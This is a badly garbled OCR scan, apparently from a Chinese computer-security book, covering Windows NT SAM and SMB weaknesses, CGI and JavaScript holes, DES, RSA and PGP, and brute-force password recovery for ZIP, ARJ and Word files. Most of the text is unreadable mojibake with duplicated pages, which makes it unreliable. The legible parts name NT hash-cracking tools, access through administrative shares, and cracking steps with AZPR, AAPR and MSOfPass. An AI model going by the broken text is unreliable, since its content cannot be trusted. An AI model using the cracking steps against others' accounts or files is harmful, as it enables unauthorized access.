44, Administrator B B 82— T AH], Y B HRESERJS , Adminis-
trator 37 BI4EAU R B BRA T V5 .
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=. SAM BEEFMEET NT RE[{XHFTEEH NT &9 SMB FFiE
B, SMB 2#5iR5EEE BB (Server Message Block) , Microsoft i
LAN 7= Gy —fh gt & thill o

SMB BRZMKRAFFH G, BB BB T LIZFEE SAM 1
NT R 5528 E B H B X4, SMB P ARIFER L H 3 | Registry
BWEURKE—BRERS . EiT SMB U AT 1] 49 AR %5 4 1
BEH KRB RIS Hob, w6l X iR 5 1 Sl R A
e,

Fl B X L6 55 S T B MR F1E Internet FFEALTT I, ST R F
AFEE Administrator 15 A E X E R FIN . H— KR, SMB
HERIEFAF S 0et, FR—-MESMENTEEEREC, B,
BRI EREVHB A S T 5%,

SAM BHEEN — &0 N g e TRETF A, kBk#o
4o NT ZEXTH P AT SRR, REEB BN RSA MK, 7EX
MEAT , EEZRALEMATARBNARLHEAT A4S, (BF#S SAM
U8 e IF BB AR O 4 19 T2 PWDump 1 NTCrack » XH7%f T
SMB #47 NT AN, AR A LA H B EM TS,

Xf i BT AFE Bl ok 3% b8  A¥s O 135 B 142 §9BF A TCP 1 UDP
R, XA A TR, HPaExET RPC THETHRD 1358
ZERFAAER . BEENTERFARE (Proxy) XBEHRETES
fE4M% BT SMB M., A, MRH SMB £#FEFBARLY
BBR R, RERENTRKES LE ACL , A& ML FRZHE,
B0 1358 142,

M. 4B FKD (Trojan Horses) ¥, ATRE/K MEL K MRE
SAM B9& 7, K58 SAM 0L ER  AFEIH AR EE R
ERD HEH &K,

IR AR D RRER, 0T LAt DATF £ 41 o A9 4507 B B 7E P s LR
EERRTAT (B, BE14935 : Administrator B HE 5 , Administrator
AR, &0 BIER, RFBRER, ULEEZSHERMEMA),
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B ETEVT IR ERD EH /AT (B, GFEERIA) o Hlin,
— AN 2 Administrator ZHH B R, BAb7E R G L TAERT, 4B K
SN e RO 5=

XFXFENR, M ixikFrA BA Administrator F18 5 FEALA bk P
A KT AEENIYE Web o BT Itk 7 HBER A User B Power User 414
R

5.4. 4 WLJIKTE Administrator FLPR IR

—. Widnows NT & &K Guest K

SR Guest Tk P RIFHE) , 2 P B R RBAREGE B BB, b
Al L3RS NT TAEV Y Guest T RIAL, TT#EA NT 38,

B B NT 5 4 RE LM T X AR, A RBIE 4 T,
SR Guest tk P, IFHHE—THECH O 4,

T HAERRATEERRSTAR HAERTERENAZRE

FEfR—ANEP A ZEM ST T, B A\ IPaddress\ C $ (FFH\\I-
Paddress\D $ , \\IPaddress\WINNT $ )iXEE#EE—1I NTF¥ S L
BHREMILERTR,

B2 REaREEEAYIR NT F&,

5.5 HbiRiRE

5.5.1 CGI Script i&iH

CGI Script &2 WWWW Z2¥HEK EERE ., RE CClHIBGER
REANAZ S, RTAERR, B 1 Script B XHEMIRAE, X Z
fEEH Web BRI LEEMINT A L, BEERBXARE,
8 CGI Script ZRFFFE BBt VT BB, B CGI Script LR E In-
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ternet AR 55 28 AR /N0, B AL bR B EATR /NI IR S5 48 . T X 1R &
Web YE# K ,CGI Script ZABAIEMEHE LHE—KRET

CGI Script MZ2WRAEFTHNHE:

1L EMNSAEXEHMEENAENES, HPRERA

2 MEEBAFRAN, NRBHHER “BERERS"GL4H
Secript , A] BB 5 BRI P Wit MPAT A2 o

HELEMAPA “ nobody "X EA BAKAUR K Kk 5 KZ 1T RS 2%
BITEBL T, CGI Script LABRE AN L LW, —MEBIRLL “
nobody "iZ4THJ CGI Script B A IFHREN LS. BEMNERE
BB, RAERNOE—A 10dn ##E (GXFE Perl B HFER M6y
SHEETER) . EEXMHF MRS 25 chroot H #E1TH, A Bug
CGI Script HAEMHEE B8 £ 1R BREHF ENM L 4L,

5.5.2 JavaScript KR

JavaScript 7E 7 %2 |
B A& 2 i 1 I 1R 2 Bk
B, R4 Netscape HIFF &

HEREEHEE, LK ‘ ‘
EARWARYEEIELE, (‘

JavaScript IR AR Java é

AR R B 555 P 19 % ' ///

LB, TRRS RELH f
PR, TENORREAE ?6
TEF Netscape IfAs 2. 0 #l
2.01 &,

@ JavaScript AT LUK SR AP , R I P AR — A He 4L LA FF 1 1
8 E XA T MR 5 g D A AR P . T ELE SRS
BRAEMIERERRE T AR . XXHRET 04 S0k
ViR R R 24 KUK, B 46 3 B 1014 SO R
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Gtk o

@ JavaScript BEZRTE 7 A BE R AL ] M 45 8 B9 B %%
XERRTHRBMBILEXRRTRZERK, B AL H S R
BRITAR T BN —NEEHE,

@ JavaScript B8 WA A P B (8] A 15 8] B B8 02, 48 URL 3¢
K ENMMEZS Intemet RS FHH, XMRFAFTERPWZERTHR
& EXANZEA g RB T EN R,

@ JavaScript BB fili & Netscape Navigator 3%t HL FHR 415 B A
TEETHAP A, XEARTHARFE P 8B F Rt

FIt# B JavaScript B)JRIH7E Netscape Navigator 7. 1.0 F1LL b R4
hESBHE, PSR T ER A b MR, XN
2.01 fRAFE 28, H7E 7. 1.0 P EF LI, 7. 1.01 fRF X
Bk, EMBSREETTEEFREt—EEHE , 7€ Navigator LA
RPN CR B F IR P& o Microsoft Internet Explorer
SZH¥ JavaSeript B —FRATE B R ERE O A LRI,

AR KB JavaScript BT WANT, T EHET L2 XEE (K
Mg ML LETHERE) ,RIERMTEEEVRE URL .
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BT MERWERA

AT B PF AR P R ATTHGE , W0 R BT 9 34 , U R XA,
HRUBBHE RS A2 ERESHREMTE, Bk, —&
FEM% LSRRI, BRRLEIEZ B ERITER

BEAFL b, BRI HBEEM S PR EERERUH,
REFANM—& PC LM, RTRGRAFFEZEEANGE, X
B, MERBBRALET . HEL, WHEEMERHER TEHA
HxE, ARSEBRFHARTURHFAZ S THERNTE. TH
Wi B— IR T B AR S TR,

6.1 JLFRITHIMBE X

611 DESHIE  gouygipiaieten

DES B:inE 6 -1 fF
R X BT E— A &
BB, ZABERETT 16 Z
WER (B),mERBX (Q
R K 5 B 3k
MERS. XMEERR
BB AR —F . BX
BARFRS, ORI — RS — B P RN GG, SRR
A EFABSFHER,

T BT [ A BB 2 TR SR B — R —

B, XERETHERNAY  AFENAP THEERHEXER,
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BAE ERRERA

MHT T B P8 FP R ATIAE , R BT A& 4 B0 SUiF SRR B SCHF,
HRUBBKE RN, SR AR E 0TS, Bk, —8&
FEM% AR, BRRLXINE Z B TIE%

BAEFEL b, A KR BB P45 P AL B A8 2 RIS,
REAANRA—f PC EM, BTRGRAFFZZEANER, X
B, MERBBRALET . HEK, WEIEEMEREKNTEHFA
HxE, ARSERFHARTURBHFAFAZ S THERNTE. TH
KA B — LR T B S TR

6.1 JLARITHMEBEZE

6-1.1 DESH  (ose0i0i0i¢

DES B4/ 6 -1 Fr =
R, X R T A Yy
ST, XAHEHTT 16 2
W (B, 1% %X (}»-
RE R K5 MBIk
MERE. XTEERR
BARMAHH—#E ., X
BAARBRLE, BERGRN RS —BhRERNEIE. ERE
—AHEFAGLFHERZ.

TP P A B S TR B ORI A B — Ry — i

B, XEMETHERNAT  AFENAP T BEERHEXIR,
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(1)%F 64 PLABASGHATIES (HEF) LB AL IR T

(2 )BTk, EHA BB 32 MHREARS 32 Ko

(3)EEFRFEYH—B, FIRERE S R FE,

(4)FBHARE LR LBEARBA, REEFEH HIHT S
48 i, S FFHIE AR AR LUE R EH

()R —3, A M 32 gy B3 48 i, IE 5 48

DL EI B EAFAT XOR 4k FEX — B EHAT 5 — K HEF

(6 )IB%E 3 BME 5 HMLER (BT 5HY)#4T XOR #1E

(7 ) B # BB 6 RIS REEH 32 i,

(8)IE% 2 BRI 64 NEM LN —F 55 7 BHEREST
XOR #:1E,

(9)% 8 B REME 2 BRIENRNA LT HFRAR—1

CREBE T

CRB# CEE D

e I
~~~~~~ v S CBHERD CBREED
1 RN i N
I D (BEBE  BHBED
2 CEd> 3 LAV IVRAN

F R Y g

T _ T

Gor 6 G Rasd)

R 7

o

[ s
//“ /\\ ‘a "‘\\‘
(ay)(5y) "R E
N\

§ 10 BRAHISKER

CRENBEID N

i

8
64X

B 6-1 DESHXitir 16 BRiTEHFmEZ L
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FoH5  REFERER
Pc friend -
Bk ETEERL, GERELN,
(10 )% 4 BHHBEE X —SR, 3LER 15 K,
(11)FEBEE—RERG , XA 64 SIHRHAT 1 KBIFE 155
=4 64 AL o

X CH T —1 64 ffREEBE N IR, FE, T HE
W, BT ENERPRFSE AT,

X F DES —HA T EZHiE . BKRMBERE A —MRAN
5, B30E R NSA BRI S o SIAMEFFEEE A U RetE . B
HER N RIS R BRI, (1 1R Z AL H A ) ARG H, A
AW NSA RE BT, JFR DES Bl HHA KR/ N 64 fiL,
HRTECHHMES R HERT SR B 56 2, A NIANABABEHK K
BEA# 4536 E BUN AT LA A RSA ZhAREIR KB THEN R A,

DES B — M ATHERMEE , 25 EF F ZRIEB T,
40 IDEA %, F B E W BT SR E R,

6.1.2 RSA Hik

DES B MERE IR P FE— KEY ,EBEEIE KEY A
YHEATH, Bk, %1 F DES BB RiL, RE KEY Aiit#E,
B e MG A A AT, AR R . (HRX R =4 —
ARV, 25 25 U R e B[] — 4~ KEY AR AX A KEY X E/EAF
B P38 22 4 H 0 5% O 4% 2 B AR 4% R 7 SR IR AR Rl A I 4 B %
AR 4 1% B BT RE MRt R IR K,

6 F RSA &3, Al DAfR ok iR DES B MRS, RSA A DL
B3 2t A A TR, T B SR e B SO — R R, AR
HREARNEH. QIEFANE TENEHR RSA HBEEZENRE
o XFERNMESET, BV U4 —XEH, — N AT LA X
FHAPH—NMEHEL W5 — A AR X EH P85S — A w
HE. FEE BT AT ESAATE RS, B BAE AR HmE
HENFHRE, RASHAN TS —ETURENE .
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XEGEABE
« Pc friend

RSA HEMB N RBEE FAT UBERXIFEN .

BRPFEENFDZ, TR ZHEI=E— 1 POREHN KEY , R
fIIBRZH private key (FABH), X4 key HIAZEA R REEZ KPS
BARKHR. R, HXA private key TR F—1 key, RITHKZ
H public key (A4), XA public key BRI ERTTREREE
i private key K. ZJ/GFEHXA public key @I P& 15K 4 FHLAE,
T B LA 4 038 FI3X A public key 485 , X ™95 A 2048 — B 1848
H private key A R8T, AR5 B LA RIS OB E T M KL A
Z,Z B private key YEIRMRG,

EENMMERELERS, MRAB=F R HE , b RERR A
S public key , LAK B XA public key HS/E MEE, MBA
private key , MU & R ICHEFIH

THERIKEEE RSA WAKKEERERSHMN,

B, RE=":p,q,r, P p,q BREMHRHEE, r B
5 (p-1)(q-1) HRME, p,q, r X=HER private key .

BE.RE— 8o, 8 m == 1med (p-1)(q-1)o

XA m —EFE. Bh r 5 (p-1) (q-1) B, LR
AHBRER A LIBR T m X

BETkRAHE n = pqo

m.n XFHMPERERER public key,

ZEEREE, ABERXHEMN EHHHR a BHERR—IK
BR,BE a <n, MR a = n KiG BF a R s #HL (s<n,
BEB s=2"),WB—MEB/NF n , REDERG,

BET¥HE Db == a"modn, (0 <b <n),

b BERRBIE B,

MARBHEERRXHEN:TE c == b mod pg (0 < ¢ < pg)
BRAUT, FELLE, RAIITLIER, ¢ 1 a HELRMHEN. EHKD
BXEREET.

MRE=FHTRTE, 2B :m,n (=pq), b,
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o RETERBRA

Pc friend °

TSR WA 3 A8 ELARAD B , AR MR AR B o R UL, fh A TS XY
n VERE HBG % . P78, BB T R RN EE KRR
¥op,qo. XHBE=FEEREIRESIEEEME,

LB ERRBUR B A8, L ERITERIEEM RHEEB K
BT HEL FRENEROEERENMEE, BARERTNS, R
AEE - g RE=A AR LA,

BB EE— 1 EH, Y p BKRE, BRI HEES 1/1og
p BRIEH, R R — R T —MRBNZEFHMES log p A
IEH, B8 log p BBKHASBE, BTUBRA -1k — 1k
E—-NEohR, BRI R BB IE!

B n KB 22, SFEAHEEASKBIRXIEFE,H 486
Hid, KERPHER T ASRE (BEREREE) o

AN BEEBHEHAE -NERARRER? BIHA NI, B&AE —
MEERBFERAE . HRRNBT LIRS, BERERAXAN T
BiIE, 252 X AKRME, KEERN KT 10° Fr6tE, BRI
BRAIEM

BE—NFE, TR ARD /N HEE A ER BiE—5 p,
MR p BEE, &° == amod p, MR p FREH, 2> ==
a mod p BARWA FTREALSL , (BB MALRIER /N, TH p AKATHL
RA/N, AXFMEE, RITKE—LHEECRME, HMBIE2 ==
2mod p,3° == 3 mod p,5° == 5 mod p - HREBFR L
i —k, p BRERMILERTEEEEEST

6. 1.3 A-mEK: PGP

PGP ML 2FK R “Pretty Good Privacy 7 X R—ETF RSA A

RE SR ZR B R I 3k 4 o BT LA B X OR B4 R 44 o 2 DA B 1 JE %

U B2 , B REXTAR M R4 in b 25748 2 M THT (5 e /5 NPT AR 15 iR

BRIREER . BibtRvT AE &R AR Wt M AGTE R, F5e3H

AREEMRENEERARGEFR . CRATHENERLER, —
FITT T LKD)



EEGEME

* Pc friend

fl RSA FIfEE MBI R EE
2, AT EFZ 2 R4 S
By, MERMESE, 56—
MRIFHANIERIT, BN
EEE K, AR R EE, W
HEHBRRBEREN,

PR PGP HIThREE R
1k FEA XS, PGP A AR
S Jin %% 34, 76 BT LA FH PGP AR
# Unencode 4/, RADIX 64 #=X (32 MIME /) BASE 64 #5=)
eI LN

PGP BRI AR EEH Phil Zimmermann , Ath #8153 ¥ 7E Tth
ERSA AR RN T EMEGEMERRNBEELS FEX,FBE
WFE 2 MERNIEE I LA LY. Bk PGP B A JLF
B RAT AR A,

PGP R—R i KA FIR B 5. B RN T H2, AHEE
—Fp AN, RS E, B FHRAFRN L MU E 28
R TE B — R4, IR R 2R H 22 R T, KEAEBAIE TE Inter-
net FERPBERAMEZEN, MERBCAMPBCWER, E=F
REBRGFBHROBM, B8 — B E SIAE, feikkfE A
WIS R AEGE = EEU ATERFELAE AR, RSA AREKR
AR IR E S AR E LR ER AREE (Privacy) FlIA
jiEtE ( Authentication ),

AHERSA BENFAFERMEHEENEL T ,RIAE, RSA R
TR —FE T REA TR BB BRI AR, R
REBH MR ER, —MAFAUR, - AREREMA, —1
R AR, B — Y “FARL” (Public key & Secret key or Private
key) o X PERLRETAMY , SR U 2 R N 27 i 5 SC AT LA AL L
&, A Rb—EE BRAFEFER L M EAHMER AR, B
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FoHG BEFERERA

Pc friend -

A Z AR IR A, 2B E R AR B C M AARLR S
BIESC . T BRI HGE Z B AR BT DA BP 4 22 B A A\t TG 3 il 2% A8
HE, XRBR T HEHRENRE, 5—FHaTEMNEBAEZLY
AR BATER AT LA B8 B AR B HE R AR T MR, |
HAIAER AR B T, X R FEEREAT

ERHRFE LN CERBE—TH AR “BBF3CH" (message
digest) , fA] B PFRE BT — SRR M B ER B — A B e AR H
R4 AE RO BOR , — BRI A AT M B XA BER S AL, IR A XA B
mEEEM AT (LR EAEEENELE)ARA HHSESE, T LME
H—ANELT . Bt PGP B —14 128 i —BEHIBAEN “HF
3087, IR =4 B B 5 MDS5 (message digest 5) . MD5 Fy#
H % &2 Ron Rivest , PGP i A E = H Colin Plumb %5 K,
MDS5 7 5 B/ kM, BT A PGP BB AP ARBE., MD5 &
— R RBFIEL:, AR CRC KRBT, RERB— BB RG-S
JE 4 A [RFER MDS $5H1E{E

BB B FE L Bk, B A CHAVERE FRA 128 £ A9 RFAEE N
%, MHmENAE , BB AR BEAMRENE, (FEEXEMK
F R emEEELNE IATUEEZEHEE FHCHES,
MHERTEL) . XEXHECHZKELUE, ZH B SRRE
BRPEfR 2, BB B R U454, Z /9 PGP 1 B SCHHE H— 4> 128
DL FHEER AR AR S 2 TR B B, IR A 3k
BH S 13 R B S S R 3 R o X RE R A R 2 BRI R TR .

PGP XA LA R A TMAME , XEHFAFRESHAN, SHA
HTHELHECHEN (EMNSELERREMLT), TLAHA KRS
%o XBEBETLALEM A RERRIA R A5 A B9 B 03, t AT AR 1k & 15 A 3K
BEHOCWAEH, X—A7EmIL U R K/ N FRTE , BT AR 1L %
BB RE AP ER.

B2 HAt 40 PGP FIHI2 RSA MES BRI AEEER? BHX
RSA BB EAREE FAEAMEKERE, BTl PGP L ix 1 H
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2EGEME
* Pc friend
RN A RSA A 5, MERA T —F Y IDEA WIEEIMFEEE,
XBEEmBE—THamEgmmeEs, &amipistEf— %R men
X, REHAFRFENELREE, XM HERNRERE DES(US Federal
Data Encryption Standard), WBLERFEMZE, EWEFBEHRARER
BEEREERIAT REERE, NES MRS mERE,
IDEA BR—MNEERMEY, TFFAHERE ETH — 5L AH:
( Ascom —-Tech AG ) , FER K IDEA SLEUAFH M MA138 44 %%

fi. IDEA Byhn (f)%5 3Btk RSA tRE L, FrAsLhR b PGP B —
MNEHLAERE L (BRINEARRFE) A IDEA B8 0meE, R H
RSA BHSHZ BRI . XA A R 2 F RSA %% X R L
R, T H IDEA f# BRI 45 . XAEREE & st i3] T BEA RsA
R ENE, XA IDEA B HRENE, PCP WAIEHE —EHMAEX
—mET, 04 RSA KRR 70 FRMB LK, —HRA S N HR?
K18 1384 PGP RIE M 55— KAWL T EHEIR PGP % &
B,

— M RBEHMEERRLARER - MRBANFERLEBIHEE,
A RERHI IR R RN T MR AR GE N 45 1 2R A9 2% L 20 e A M DA AR
FHB S, HMEREMNEANTFEZ—BE W07, mRER
REITMEEERKAER T o 2276 F: Novell Netware HJEIRA
AP R RE U SCERBE RN, XS ERGRIRE T
AR ES, 28R Netware 4. 1 FEECLKWAHP BHERLERME
To Xt PGP RREARARKREAT, REF B L&, HARMY
RAPNRFER VRS, HIIn AR A B E K (Public Key Tamper-
ing) , X RERARFEBERPBRKWERNE, BAKSEHF BRI
EHX— S MHRUARGEREIN AR TEE LEZRBR FHIBNA.
H T XA R RE R X B2, R T BT IE S A PGP 3%
XA

PALURAN Alice BB R B], BRI L Alice ZEE , IRIRLAA
Alice BIARE /R BBS L TR T Alice AR, FAECMETFM4, A
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B9 :2EFRRER
Pc friend -

Email ZHRBR4 T Alice , R3EH, R Alice ZRAKIIE , 53—/ Char-
lie B P38 A BBS , {04tk B © A Alice 94 F4 R F R PRI AR
BT Alice AR FRRARRERNARBAR Alice T2 Charlie,
—BERBBER, BIFREBHARKNALZR: “ Alice”, TR
Charlie B A ARIfbF P O FARL R HE R LA Alice BME , B Zfbik 7T LA
Fi Alice ELIE A RLERE RRE Alice BI15 , X R A LEE L, 1t
MR EREA Alice HfEHLBRIB . EAHEE , BT LLthiE Alice
WEZ BRI MALRE, BARMNFPHLORRIER, KITEHU
HER Alice B¥f5,

Bl 1k X Fh 17 0 ) B4 B8 I Bk R e AL AR A AR LS B K
ARG, LI BB M Alice F BB AR, AT S ETB2Z/HE
EREN, XRBEMEN, PGP RET —HMHARNFHHRMBEXA
Y, 2B IR Alice H—A LR BRI K David , i David
BT P Alice IR IET A G TFINAHAIEA R, PGP B H —
P, G ELKRD), X BB David B 2 Alice NIE T A RK) .,
XH David A] ARt B © MFRARLEE Alice AR EE 4 (MRALE
WHELTE), RAbHEBXNAKE T Alice . HRKTEH
David A REEB W2 /REY Alice BN RE , RJ&E David t7] RAm) Al-
ice NIEARII/ARE , ;X David BRB AR Alice Z IR “AAB/N", X
¥ Alice 5% David BA A LA 138 David 4533 57 A9 Alice BIARL L33
BBS LitRhE=& , BARBEEEREMABKR LI, B2 BBS WE
BHRE, XREMNAREERARMNELTFE,

BALR IRIRE A2 5B David IARLR, XA RN EH XS
HR SR B R EG255E A 7] R E B David AR B RER,
EXRERINMMEESEXEINIIE, LRI AR
X, RERVBA ,XFATREHE /DN, 4R, PGP XX F ] B thA Bl
BRI, IR R B — N KRR B ARPAHE Y XM a6, i
BN “BRAAER NERR”, B S FH ARSI R
HH , XERXREREA - ARRT T IAEXMARNARR S
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BEGEME
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fE, B A Z R AL RS, R B A A RCR R R ER , B i
AREWAETZ o XHER BB && hIEN ANER AR KBTI
7Y, WECEAFZONERERHEEE

Xt FARLLAEH 4B AT, PGP S i FIFA AN J7 XA B RL S A
FRGEAXHRIEETREERRBE AN B AN,
ATHEE B B EFEFEERARN R, BZHANRI AT Z B
K+, BMARAZEDL A “HFL” (User ID) ,ERERABEC
M2, REFFEM EA AR Email Hisik, IRIEE

R VIR AR ) — SR M FEAR G AR fT— N AR Z AT
—EFEERANEE! | TREZAHAFER, YRESEXMIER, IR
HAE BN AE, BEEE-TNAHEE OUHEREEERMR
FHDRENAR, CREABRANERNAR, HFEHCEN T EEHIN
ik, FIREREAZRERE A ANE FINEMATR AR, IFIREI L AE
P —R, KB ETHURRE A& S HaEERM A

T, RFF R S BIEAERR . B NERAENTE SR
i (keyID ), keyID —A N\ 3EHIEK, BIA~55 RL 2B M [E keyID
AT R R L1452 —, T H PGP R4t T — M A SE PR R R
78 AR (key’ s fingerprint) o 5B RLX B — BB F (5
AR AHHB) , IMEUEEN TR EM P HS T, WA
IATER EEB— T EAEENELNH R, BRORFEYLA B, A
O T R B ROR o X AERE B B AR fE B AT LUFI A 7E
RLIE EAXTX AN RS0, NTTAIEML A AR . JRIR TN Alice 58 H
W , YR AT LA David 3 H 3G IAE David 9226, AT iF David TAIE T
Alice AR, XBEBEHEIMNEMBEIENTBHEE .

XEEX G H—F Tk, MR IEARIAZZ A S ARKEE—
&, REBAILGE X UHR BB AZDARE P DAL M
T EAE TR AR . [FREVREE T AR A A RLJG B 3F |1 454t , 3%
BERR T DAL Aol 2 VR AR A FA A R BT AE . A R RS, FI B SE AL
S AL~ ., PGP & B3I AR LR ERIM AR A B
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o0 ZEFHERBRA
Pc friend -
RARE R A A 28R 1Y , AR L 2 R AR A B A A A 8 SR 1, IR e T 2 A
KRR M E N B BB RIEENS AARRBEES, bR
SEREMNENNEERE. RATLUBEEAGILREN ARG
1, X FhRE 7 R B DA A 15 53 T 33 0 ) o

HAAIEVLE BA G, XA @ B &, PGP BAEH Phil
Zimmermann YL —H)3 . “EEHIARA LEME; RAEANBRMAGRAH
WA, FTRMEMMAEBERABIEHRIN, ATREARIEAIA
H BRI "

XFARMZEMERBRE PGP 2B L, XEMAHRT .
R BB RER R, AR B BRI EEN ., HXARTE, R
RAFAEGER RS, BFEMZEMN RS, RSA MAARRBERKEK—
ANFE, AP AT e EintE, PGP Wi ik B P N BEHLAE R
RSA RAEFEE— 1~ 4 (pass phase) o RAMETS H 044 REKFAR
BB R, OIS RARLH 77 R R EREM PGP A B 2 —
R, FTURRMNEEERBELGR EEERMAF OSHRE., 4
RFARE U A B R AR fE R , B i R R o5 B i iR AR Y
A47T ,BHBEEETERRAT —BEaet, EXEHERAH
IE— R, BRIEMBRFA—HER IR FARL , AR AR VLS
B, Bt RERMPRAFEE A ESEHK L,

PGP &% 2 B /R L it % 155 IR IABLAE PGP AN, tdn
BRI B L PR R A BEVLE, REF M E T EIR L= EEIE
) FE LS ) o PGP 2 )7 X BEHLE ) 7= A R AR HE A, R M BEVLEUE
RSA %5 RE i 7= A= & M = il 28 Fr st i) (8] By L BUAS REMLERRR T 19
X FRERM F 1 randseed. bin SCA 2 SR TR {4 [R]BE 58 BE N2 1) 03X
BB IE T i AR randseed. bin ST 437 4 AR B9 10 35 S bR g%
REBIALAEE .

XEARER—T PGP MERAMBUES AL B, PGP N
PKZIP B 5k 48 N Ay A B 3o — 5 N B FHRRAF T & L HE48 S5 I
FHET 7 A RS CE TRE LA SCE 4, XA T Mg 1L p it
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2EGEHE
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B, H—7E, A S EYE, Lh BN TFRT—KEHR, FREm
ZRELTEE, MBI SCBGE R IRBIRE 1 B3R . PGP i N PKZIP H 3k /2
S FEERBR . PKZIP BILR— AN RS 3R E 40 E A
YT ERERE,

6.2 BB

BB N
(Crytanalysis) A
#2228 4 "y . -
B8 S R B °°
JRIBHEEH S

R, tER LA |

BT Ema ne. A 1
1 45 7 I 4 EHATE 4N
AN,

RECHEFEAARBHAANEITR - EEER R RICR KA,

HTREHFHERETRBEERET I ARW, WA F iR
B RBREEINTECEF RGN FRAREE, B LLES R
BB ZLME, BREN TAFRERREAXMEE., &
CIA XHEFAE RGP AT LUE BRI

ERZHUFEBREH  BERGRFARF . REN I BREARE
HHMBE MM ERBAMERER . B2, mBEFEHRKERE
HERFBXMER, I HEBRER N BE, EAREURERAAE
— R A BB 1 LU B B AR B O B T . IF B ERMLE,
FRAKEANE LGRS AT, RETEINLEE I WE
R AR SR R AL T EILR S, X R AR AEH (8
1T 100 £i7) % W & SCGH T E N EREE EILAAEZEILTHE,
(138 - zpammtt R -



FHy  BETFERRL

Pc friend -

BRIt ZAb , B8 43 In— sk & A8 1 B0k B RIZE SR 3 n— 15 .

R, RE X AT RENE, BN RGP — 15 R R HE R R
FH, AT T EMRNEHE B I, - EEMTE RS L
H— =SB LR A —HERNER R AR XA
A RE AR A,

BEFEEINERUTEANEILEANEHFH - EHEER
B, (B 40 SRR A A U Bk R SCE AR EME R B T IR
T, BT E AT R R IR TH AT RAIM AT BRI Z 5, B
SERBBET BN —EURAE - M RBEANERTG? 8
R XRAIELN,

AP FREABENBERATEN. AARTIRK
AR X AR, A RA A KRE—8 T ERKN A REERS)
A FBERNHTEVA BRI FH.

BESR X P R A M W TR RBIEY, RiLAPE
EBGHE TR AT CR BB H b 2. X REITFERE
TR, M ERULEERNER SR, f.oMmAlh, A
BARTTEE Rt B Ead (Jn3% E = A A TR B M —
BT .

TEWAEREE T AT &R RIZR M BGE k.

&R E L

FRAEEFE XN — DRI AMB LN — 04, EXFER
TARERTEE 2R EE , BB E BA £ /0% IR el
RETE

& & m— BB

FRAEE —BEXHEBIAR . —REENBIZA, B F — B3
THEMX LI BT, EXFERT , BB IrE T RS
IMBEEMERE L. ER—MELT, BBMTEELMBE
A — e SCAKE R, BR 4 T S AT A7 X BB 2R 2 3 o

& Ak FH R
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BEBEME

+ Pc friend

B 447 B H T SO 2 A A AR O SR —
WRIBABE X, WG SIS T RS R, 7 b
W, AR R BRI, LI A B
g,

L WX 2L

B 474 B8 — b BB R R AR B BB A BT o B R—
ST R MBI, & 0T DL VR I, A PR A — DB OS5 R, B
SIRAIHE]. I RSA LREHVE , BV ERLA LRI
Rl — B A B P R0 32 SR AL o

& O4e R T

I3 1 B A RSB B B0 S S 3 B
B SRAL AR R Sk 3 80 ORI A5 A LA BRI ML AU
& REBAHAEAA S SR ERNEMEE, TRE, G
FRIS B RRVES R (IS5 5) AR5 B, 08 3k
o T LA SR SOR o S 3075 4047 o
S SCR A T R T

TR B S H FRBCh B3 — B

L F By -

IR BF R , B AR 285
s F— R R R R 2 <o H

. nr
T, 5 B PR R BF h oy B35
% (40 DES )= ‘b b
BRI — B AR KPdH

MIBASC, B B RIEIF 5
i EF iRl TR
FH. XABARY BT
FAF DES . FEAL - 4 FiH & — 883 k%,
& KM E M
XFREE A BT F DES fl FEAL -4 . 4347 —Xt B SCngs
(140 - zEmmtR -




FoHr RETFEREA

Pc friend -

R, LR B AR E R FEEHIFTH

L - E &

AT FREB PR EEH . WRXANEWEE, WH—
AE G BEAT — N B 45 R AT RE4F R T RS [R]85 9 #E 47 BIIK
MEREER . ERSHERNAR-BA. BRIREBITER
EHRIFBTR. FETEYERBRBEK, MMNFPERAELH
RIRG? AR, HABRMMBERARUEABERESF R4, £
RN R, T RELEFFREEM 1 467, B4 WB0E LI
BRI m 115,

6.3 fRELHI

X—/NTRM T — 2 E AR SR SE RERINE, 2
FE N TR, T 28 5C b S %8 — Rk 4 0 BB e A Bk 1, — AR
Alk—FHNX B FRMUEEN BT M LR, MRARKMEETR,
EE T UEFBHREAR PRI,

6.3.1 WinZip JE4; 0 %SRRI

WinZip 2R ITERBB R — N ER KRG, B
£ NERFE , 7] DATEH SCHF FE 48 M R, 0 e
AN BB, XA LA B RS SR % —
‘ i BB HER
= X FHEREERXEN  ARFEESHX
- 4, 3 3 ) P S B P 14T “Add to ZIP”
WA (RALEET WinZip A LB XER),
FTF U MBI SHEAE , AR B “ RS "M, FT O “BERE X
HREFMATTOEEA, mEFRMATFEH “ WinZip "EEFE
G RSO BRE SN EA X, RERSERF B
AFH,

-~
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B2, SRR EERTE XEAR?

XBEA— T H# 4 AZPR(Advanced ZIP Password Recovery),
RETRRMER ZIP K45 0 % 5 0 /#2842 F W LA hp: //
www. elcomsoft. com/ T £, A A N A B E L& PR BX AR

AZPR Tl %} ZIP B A EBHTHER, RITRFEMN “ ZIP Password
- encrypted file * XTiEHE P EFEREMRBRK ZIP K454, H7E “Brute
- Force range options” X iH1E P FH WKL E (MR BT BEXNE
B REAERTE ER MASRAERENES) , BE B “Start”
ol , Bk A REX A il R F B A S TR, HER
B EBEHH BRI,

6.3.2 ARJ JE4 L BHHRER

AR] B— T LA RGBS , EWA X R ELTELH 1T
KRB, KA “-P SHMRARREERLELN, RMNAFTER
JE AR K ERS, B A B EA R EEEKNERN ( “-P7
SPEFBZEBRAESH) . MBITERH C & DOS HRETHFAX
2 EL P —1 BACKUP W EZ Y, H N ERE “PASSWORD
Hig, REDPAT “ ARJ A - PPASSWORD BACKUP C :\ DOS "#54-H]
LIS

X F AR] E4EEFENME, FEEATAETUMNA, T#E
http : / /www. elcomsoft. com/ FER—1MEWH AR] E4% 05 BMERK
{4 AAPR (Advanced ARJ Password Recovery) . AAPR 5 FHEINZHH
AZPR #RFE— AT R, A R B AE 7 i85 AZPR B4 —3,
AR E R B, X ERAME AN A T

6.3.3 Word . Excel XRS5 #E 1) R

AR B AL B Word 1, 34T “SCHTERB “BEN M
A 3TH BN HEERE W EY, R REFEAME
B “BRE7SHERER “FTIFRURER "SR “BBA R R ik B BT
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THED (E “THADRER"
ZJa , AN HGE B R P kAT

FXH B AR
5 SR DR AT BT HF S B @

X, T R RAREXT ST
B, BUR S T BT Y ;X%"i%ﬁ’
B B, '

fRBR T S Word BIHZ
J& , BATAT LAE B T MSOfPass HEATM#EER . MSOfPass B — % TR
Office XRYHEBM M AEF (HATEZER4 ST Word X Excel ) , #Ai]
ERSZEBFEE M BT “ Settings "4, T “ Brute - force
settings” XT 75 #E , X} MSOfPass M BB RS H# T RE(EFERE
